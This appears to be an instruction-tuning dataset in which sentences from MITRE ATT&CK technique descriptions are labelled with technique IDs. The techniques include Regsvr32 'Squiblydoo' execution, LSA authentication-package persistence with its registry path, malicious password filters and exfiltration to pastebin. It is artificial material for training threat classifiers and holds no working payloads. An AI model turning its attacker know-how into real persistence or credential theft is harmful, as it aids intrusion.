include RSA and ElGamal.", "output": "T1573.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Common public key encryption algorithms include RSA and ElGamal. ### Response: T1573.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For efficiency, many protocols (including SSL/TLS) use symmetric cryptography once a connection is established, but use asymmetric cryptography to establish or transmit a key.", "output": "T1573.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For efficiency, many protocols (including SSL/TLS) use symmetric cryptography once a connection is established, but use asymmetric cryptography to establish or transmit a key. ### Response: T1573.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "As such, these protocols are classified as [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002).", "output": "T1573.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: As such, these protocols are classified as [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002). ### Response: T1573.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may employ a known symmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol.", "output": "T1573.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may employ a known symmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. ### Response: T1573.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Symmetric encryption algorithms use the same key for plaintext encryption and ciphertext decryption.", "output": "T1573.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Symmetric encryption algorithms use the same key for plaintext encryption and ciphertext decryption. ### Response: T1573.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Common symmetric encryption algorithms include AES, DES, 3DES, Blowfish, and RC4.", "output": "T1573.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Common symmetric encryption algorithms include AES, DES, 3DES, Blowfish, and RC4. ### Response: T1573.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol.", "output": "T1573", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. ### Response: T1573."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.", "output": "T1573", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files. ### Response: T1573."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Windows password filters are password policy enforcement mechanisms for both domain and local accounts.", "output": "T1174", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Windows password filters are password policy enforcement mechanisms for both domain and local accounts. ### Response: T1174."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Filters are implemented as dynamic link libraries (DLLs) containing a method to validate potential passwords against password policies.", "output": "T1174", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Filters are implemented as dynamic link libraries (DLLs) containing a method to validate potential passwords against password policies. ### Response: T1174."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts.", "output": "T1174", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts. ### Response: T1174."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter.", "output": "T1174", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. ### Response: T1174."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Any potential changes cannot take effect until every registered filter acknowledges validation.", "output": "T1174", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Any potential changes cannot take effect until every registered filter acknowledges validation. ### Response: T1174."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can register malicious password filters to harvest credentials from local computers and/or entire domains.", "output": "T1174", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. ### Response: T1174."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To perform proper validation, filters must receive plain-text credentials from the LSA.", "output": "T1174", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To perform proper validation, filters must receive plain-text credentials from the LSA. ### Response: T1174."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A malicious password filter would receive these plain-text credentials every time a password request is made.", "output": "T1174", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A malicious password filter would receive these plain-text credentials every time a password request is made. ### Response: T1174."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Carnal Ownage Password Filters Sept 2013)", "output": "T1174", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Carnal Ownage Password Filters Sept 2013) ### Response: T1174."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems.", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation:", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming)", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming) ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry.", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may achieve the same goal by modifying or extending features of the kernel.", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may achieve the same goal by modifying or extending features of the kernel. ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges.", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges. ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse authentication packages to execute DLLs when the system boots.", "output": "T1547.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse authentication packages to execute DLLs when the system boots. ### Response: T1547.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Windows authentication package DLLs are loaded by the Local Security Authority (LSA) process at system start.", "output": "T1547.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Windows authentication package DLLs are loaded by the Local Security Authority (LSA) process at system start. ### Response: T1547.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "They provide support for multiple logon processes and multiple security protocols to the operating system.(Citation: MSDN Authentication Packages)", "output": "T1547.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: They provide support for multiple logon processes and multiple security protocols to the operating system.(Citation: MSDN Authentication Packages) ### Response: T1547.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use the autostart mechanism provided by LSA authentication packages for persistence by placing a reference to a binary in the Windows Registry location <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\</code> with the key value of <code>\"Authentication Packages\"=&lt;target binary&gt;</code>.", "output": "T1547.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use the autostart mechanism provided by LSA authentication packages for persistence by placing a reference to a binary in the Windows Registry location <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\</code> with the key value of <code>\"Authentication Packages\"=&lt;target binary&gt;</code>. ### Response: T1547.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The binary will then be executed by the system when the authentication packages are loaded.", "output": "T1547.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The binary will then be executed by the system when the authentication packages are loaded. ### Response: T1547.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries.", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries. ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.(Citation: LOLBAS Project)", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.(Citation: LOLBAS Project) ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation.", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands.", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands. ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similarly, on Linux systems adversaries may abuse trusted binaries such as <code>split</code> to proxy execution of malicious commands.(Citation: split man page)(Citation: GTFO split)", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similarly, on Linux systems adversaries may abuse trusted binaries such as <code>split</code> to proxy execution of malicious commands.(Citation: split man page)(Citation: GTFO split) ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse Regsvr32.exe to proxy execution of malicious code.", "output": "T1218.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. ### Response: T1218.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems.", "output": "T1218.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. ### Response: T1218.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Regsvr32.exe binary may also be signed by Microsoft.", "output": "T1218.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Regsvr32.exe binary may also be signed by Microsoft. ### Response: T1218.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft Regsvr32)\n\nMalicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations.", "output": "T1218.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft Regsvr32)\n\nMalicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations. ### Response: T1218.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions.", "output": "T1218.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions. ### Response: T1218.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation.", "output": "T1218.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. ### Response: T1218.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This method makes no changes to the Registry as the COM object is not actually registered, only executed.", "output": "T1218.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This method makes no changes to the Registry as the COM object is not actually registered, only executed. ### Response: T1218.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: LOLBAS Regsvr32)", "output": "T1218.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: LOLBAS Regsvr32) ### Response: T1218.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This variation of the technique is often referred to as a \"Squiblydoo\" and has been used in campaigns targeting governments.", "output": "T1218.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This variation of the technique is often referred to as a \"Squiblydoo\" and has been used in campaigns targeting governments. ### Response: T1218.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32", "output": "T1218.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 ### Response: T1218.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Targeting Mongolian Gov)\n\nRegsvr32.exe can also be leveraged to register a COM Object used to establish persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1546/015).", "output": "T1218.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Targeting Mongolian Gov)\n\nRegsvr32.exe can also be leveraged to register a COM Object used to establish persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1546/015). ### Response: T1218.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Carbon Black Squiblydoo Apr 2016)", "output": "T1218.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Carbon Black Squiblydoo Apr 2016) ### Response: T1218.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.", "output": "T1002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network. ### Response: T1002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The compression is done separately from the exfiltration channel and is performed using a custom program or algorithm, or a more common compression library or utility such as 7zip, RAR, ZIP, or zlib.", "output": "T1002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The compression is done separately from the exfiltration channel and is performed using a custom program or algorithm, or a more common compression library or utility such as 7zip, RAR, ZIP, or zlib. ### Response: T1002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel.", "output": "T1567", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel. ### Response: T1567."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Popular Web services acting as an exfiltration mechanism may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to compromise.", "output": "T1567", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Popular Web services acting as an exfiltration mechanism may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to compromise. ### Response: T1567."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Firewall rules may also already exist to permit traffic to these services.", "output": "T1567", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Firewall rules may also already exist to permit traffic to these services. ### Response: T1567."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Web service providers also commonly use SSL/TLS encryption, giving adversaries an added level of protection.", "output": "T1567", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Web service providers also commonly use SSL/TLS encryption, giving adversaries an added level of protection. ### Response: T1567."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may exfiltrate data to text storage sites instead of their primary command and control channel.", "output": "T1567.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may exfiltrate data to text storage sites instead of their primary command and control channel. ### Response: T1567.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Text storage sites, such as <code>pastebin[.]com</code>, are commonly used by developers to share code and other information.", "output": "T1567.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Text storage sites, such as <code>pastebin[.]com</code>, are commonly used by developers to share code and other information. ### Response: T1567.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Text storage sites are often used to host malicious code for C2 communication (e.g., [Stage Capabilities](https://attack.mitre.org/techniques/T1608)), but adversaries may also use these sites to exfiltrate collected data.", "output": "T1567.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Text storage sites are often used to host malicious code for C2 communication (e.g., [Stage Capabilities](https://attack.mitre.org/techniques/T1608)), but adversaries may also use these sites to exfiltrate collected data. ### Response: T1567.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Furthermore, paid features and encryption options may allow adversaries to conceal and store data more securely.(Citation: Pastebin EchoSec)", "output": "T1567.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Furthermore, paid features and encryption options may allow adversaries to conceal and store data more securely.(Citation: Pastebin EchoSec) ### Response: T1567.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "**Note:**", "output": "T1567.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: **Note:** ### Response: T1567.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This is distinct from [Exfiltration to Code Repository](https://attack.mitre.org/techniques/T1567/001), which highlight access to code repositories via APIs.", "output": "T1567.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This is distinct from [Exfiltration to Code Repository](https://attack.mitre.org/techniques/T1567/001), which highlight access to code repositories via APIs. ### Response: T1567.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search local file systems and remote file shares for files containing passwords.", "output": "T1081", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search local file systems and remote file shares for files containing passwords. ### Response: T1081."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.", "output": "T1081", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords. ### Response: T1081."}{"instruction": "List the MITRE techniques contained in the text.", "input": "It is possible to extract passwords from backups or saved virtual machines through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003).", "output": "T1081", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: It is possible to extract passwords from backups or saved virtual machines through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). ### Response: T1081."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: CG 2014)", "output": "T1081", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: CG 2014) ### Response: T1081."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller.", "output": "T1081", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. ### Response: T1081."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: SRD GPP)", "output": "T1081", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: SRD GPP) ### Response: T1081."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In cloud environments, authenticated user credentials are often stored in local configuration and credential files.", "output": "T1081", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In cloud environments, authenticated user credentials are often stored in local configuration and credential files. ### Response: T1081."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files.", "output": "T1081", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files. ### Response: T1081."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Specter Ops - Cloud Credential Storage)", "output": "T1081", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Specter Ops - Cloud Credential Storage) ### Response: T1081."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather information about the victim's hosts that can be used during targeting.", "output": "T1592", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather information about the victim's hosts that can be used during targeting. ### Response: T1592."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.).", "output": "T1592", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.). ### Response: T1592."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598).", "output": "T1592", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). ### Response: T1592."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation:", "output": "T1592", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ### Response: T1592."}{"instruction": "List the MITRE techniques contained in the text.", "input": "ATT ScanBox) Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or", "output": "T1592", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ATT ScanBox) Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or ### Response: T1592."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).", "output": "T1592", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). ### Response: T1592."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or", "output": "T1592", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or ### Response: T1592."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).", 